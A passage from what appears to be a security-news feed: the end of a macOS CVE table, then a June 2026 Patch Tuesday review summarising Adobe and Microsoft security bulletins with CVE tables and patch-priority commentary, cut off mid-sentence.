CVE-2026-39871 TV App An app may be able to observe unprotected user data Yes Yes Yes
CVE-2026-28976 UserAccountUpdater An app may be able to gain root privileges Yes No No
CVE-2026-43660 WebKit Processing maliciously crafted web content may prevent Content Security Policy from being enforced Yes No No
CVE-2026-28907 WebKit Processing maliciously crafted web content may prevent Content Security Policy from being enforced Yes No No
CVE-2026-28962 WebKit Processing maliciously crafted web content may disclose sensitive user information Yes No No
CVE-2026-43658 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28905 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28847 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28904 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28955 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28903 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28953 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28902 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28901 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28913 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28883 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28958 WebKit An app may be able to access sensitive user data Yes No No
CVE-2026-28917 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28947 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28946 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28942 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28971 WebKit A malicious iframe may use another website's download settings Yes No No
CVE-2026-28944 WebRTC Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28819 Wi-Fi An app may be able to execute arbitrary code with kernel privileges Yes Yes Yes
CVE-2026-28994 Wi-Fi An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets Yes Yes Yes
CVE-2026-28914 zip A maliciously crafted ZIP archive may bypass Gatekeeper checks Yes No No
CVE-2026-28920 zlib Visiting a maliciously crafted website may leak sensitive data Yes Yes Yes
CVEs marked with the scarab logo were reported through the TrendAI Zero Day Initiative program.

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

]]> <![CDATA[The June 2026 Security Update Review]]> https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ Sat, 25 Jul 2026 19:02:53 +0200 🕵️ Hacking tsecurity.de I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-66 Adobe Campaign Classic 2 Critical 10.0 No 1
APSB26-64 Adobe ColdFusion 7 Critical 9.6 No 1
APSB26-63 Adobe Acrobat Reader 20 Critical 7.8 No 2
APSB26-57 Adobe Experience Manager Forms 3 Critical 9.3 No 2
APSB26-62 Adobe Dreamweaver 5 Critical 8.6 No 3
APSB26-65 Adobe Format Plugins 2 Critical 7.8 No 3
APSB26-59 Adobe InCopy 3 Critical 7.8 No 3
APSB26-58 Adobe InDesign 12 Critical 7.8 No 3
APSB26-60 Adobe Substance 3D Sampler 4 Critical 7.8 No 3
APSB26-61 Content Credentials SDK 8 Critical 7.5 No 3
APSB26-56 Adobe Experience Manager 57 Important 5.4 No 3
TOTAL 11 bulletins 123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

-    CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

-    CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

-    CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

 Here’s the full list of CVEs released by Microsoft for June 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited XI Type
CVE-2026-41091 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes Yes 0 EoP
CVE-2026-49160 HTTP.sys Denial of Service Vulnerability Important 7.5 Yes No 1 DoS
CVE-2026-50507 Windows BitLocker Security Feature Bypass Vulnerability Important 6.8 Yes No 1 SFB
CVE-2026-45586 Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability Important 7.8 Yes No 1 EoP
CVE-2025-10263 * ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel] Critical 9.3 No No 2 EoP
CVE-2026-48567 Azure HorizonDB Elevation of Privilege Vulnerability Critical 10 No No N/A EoP
CVE-2026-32193 Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-47644 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 6.5 No No 2 Info
CVE-2026-44815 DHCP Client Service Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47291 HTTP.sys Remote Code Execution Vulnerability Critical 9.8 No No 1 RCE
CVE-2026-42824 M365 Copilot Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45476 Microsoft Azure Network Adapter Elevation of Privilege Vulnerability Critical 8.2 No No 2 EoP
CVE-2026-44810 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Critical 8.4 No No 2 EoP
CVE-2026-48579 Microsoft Exchange Online Information Disclosure Vulnerability Critical 9.1 No No N/A Info
CVE-2026-47655 Microsoft Graph Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45497 Microsoft M365 Copilot Remote Code Execution Vulnerability Critical 7.7 No No N/A RCE
CVE-2026-45460 Microsoft Office Information Disclosure Vulnerability Critical 4.7 No No 3 Info
CVE-2026-45472 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45474 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45461 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45463 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45456 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45458 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47635 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-26142 Nuance PowerScribe Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47289 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 2 RCE
CVE-2026-47654 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 3 RCE
CVE-2026-48563 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42992 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44799 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44801 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42985 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 1 RCE
CVE-2026-45648 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-42987 Windows Deployment Services (WDS) Remote Code Execution Critical 8.1 No No 2 RCE
CVE-2026-33828 Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability Critical 7.8 No No 3 EoP
CVE-2026-44803 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-44812 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-45607 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45641 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47652 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.2 No No 2 RCE
CVE-2026-47288 Windows Kerberos Key Distribution Center (KDC) Remote Code Execution Critical 7.1 No No 3 RCE
CVE-2026-45657 Windows Kernel Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-48574 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No 2 RCE
CVE-2026-45490 .NET SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45491 .NET Tampering Vulnerability Important 6.2 No No 3 Tampering
CVE-2026-45591 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No 2 DoS
CVE-2026-47643 Azure Stack Edge Remote Code Execution Vulnerability Important 9.8 No No 3 RCE
CVE-2026-41098 Azure Stack Edge Spoofing Vulnerability Important 8.4 No No 2 Spoofing
CVE-2026-45642 Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability Important 3.9 No No 2 Spoofing
CVE-2026-45650 Microsoft Bing Search Spoofing Vulnerability Important 4.3 No No 2 Spoofing
CVE-2026-45637 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45647 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No 2 EoP
CVE-2026-40371 Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-44822 Microsoft Excel Information Disclosure Vulnerability Important 8.2 No No 3 Info
CVE-2026-45455 Microsoft Excel Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-45469 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44817 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 3 RCE
CVE-2026-44818 Microsoft Excel Remote Code Execution Vulnerability Important 7 No No 2 RCE
CVE-2026-44820 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44823 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45459 Microsoft Excel Security Feature Bypass Vulnerability Important 3.3 No No 2 SFB
CVE-2026-45504 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 8.8 No No 3 EoP
CVE-2026-45502 Microsoft Exchange Server Information Disclosure Vulnerability Important 5 No No 3 Info
CVE-2026-45503 Microsoft Exchange Server Information Disclosure Vulnerability Important 8.1 No No 3 Info
CVE-2026-45583 Microsoft Exchange Server Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45500 Microsoft Exchange Server Spoofing Vulnerability Important 6.1 No No 2 Spoofing
CVE-2026-45501 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No 2 Spoofing
CVE-2026-47631 Microsoft Exchange Server Spoofing Vulnerability Important 8.1 No No 2 Spoofing
CVE-2026-42986 Microsoft Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-41092 Microsoft Kinect Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45644 Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability Important 8 No No 2 EoP
CVE-2026-47293 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45485 Microsoft Office Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-44821 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45483 Microsoft Office Project Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45475 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44819 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44824 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45645 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-49161 Microsoft PC Manager Security Feature Bypass Vulnerability Important 7.8 No No 3 SFB
CVE-2026-42902 Microsoft PowerToys Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45484 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-45454 Microsoft SharePoint Remote Code Execution Vulnerability Important 6.5 No No 2 RCE
CVE-2026-47298 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No 2 RCE
CVE-2026-45467 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45468 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45479 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45453 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47636 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47637 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47638 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47639 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 3 Spoofing
CVE-2026-47641 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-33113 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45462 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45464 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45465 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47634 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-47640 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 3 Spoofing
CVE-2026-45481 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-48560 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-48562 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-42835 Microsoft Teams for Android Information Disclosure Vulnerability Important 8.1 No No 2 Info
CVE-2026-45606 Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability Important 5.5 No No 2 DoS
CVE-2026-45482 Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability Important 8.4 No No 2 SFB
CVE-2026-45466 Microsoft Word Information Disclosure Vulnerability Important 3.3 No No 3 Info
CVE-2026-45471 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45486 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45643 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45457 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-42980 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-42916 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45649 Office for Android Spoofing Vulnerability Important 7.1 No No 3 Spoofing
CVE-2026-47653 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No 3 RCE
CVE-2026-42909 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42913 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42993 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45588 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48568 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48570 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48573 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48575 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48576 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48578 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45654 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45656 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-8863 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-40376 Visual Studio Code Elevation of Privilege Vulnerability Important 7.5 No No 2 EoP
CVE-2026-47281 Visual Studio Code Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-47284 Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47292 Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-48569 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No 2 SFB
CVE-2026-47287 Visual Studio Code Tampering Vulnerability Important 6.5 No No 2 Tampering
CVE-2026-42829 Windows Administrator Protection Secure Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-34335 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45601 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45598 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45596 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45638 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45603 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42911 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45594 Windows Application Identity (AppID) Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45655 Windows BitLocker Security Feature Bypass Vulnerability Important 5.3 No No 2 SFB
CVE-2026-45658 Windows BitLocker Security Feature Bypass Vulnerability Important 7.8 No No 1 SFB
CVE-2026-45640 Windows Bluetooth Port Driver Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45605 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-47656 Windows Boot Manager Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-44809 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45634 Windows DHCP Client Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-45608 Windows DHCP Client Information Disclosure Vulnerability Important 6.8 No No 3 Info
CVE-2026-41108 Windows DNS Client Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42905 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-44811 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44808 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44807 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42983 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44802 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44813 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44804 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-48566 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-44814 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45602 Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability Important 9.1 No No 2 Tampering
CVE-2026-42836 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42910 Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42972 Windows Hyper-V Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45592 Windows Internet (wininet.dll) Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42903 Windows Kerberos Denial of Service Vulnerability Important 6.5 No No 3 DoS
CVE-2026-42914 Windows Kerberos Denial of Service Vulnerability Important 5.3 No No 2 DoS
CVE-2026-48583 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45653 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42984 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45600 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45604 Windows Managed Installer Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45595 Windows Mark of the Web Security Feature Bypass Vulnerability Important 5.4 No No 2 SFB
CVE-2026-45636 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-50508 Windows NTLM Spoofing Vulnerability Important 6.5 No No 1 Spoofing
CVE-2026-48565 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44805 Windows Network Controller (NC) Host Agent Denial of Service Vulnerability Important 5.5 No No 3 DoS
CVE-2026-42981 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-42974 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45487 Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42828 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42837 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42969 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-42971 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42970 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42973 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42978 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42977 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42979 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42991 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45639 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-42908 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-45593 Windows SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42906 Windows Shell Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42907 Windows Shell Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47648 Windows Storage Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42915 Windows TCP/IP Denial of Service Vulnerability Important 5.7 No No 2 DoS
CVE-2026-42904 Windows TCP/IP Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-42968 Windows Telephony Server Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42912 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45597 Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45599 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45635 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-40409 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-40404 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42989 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow 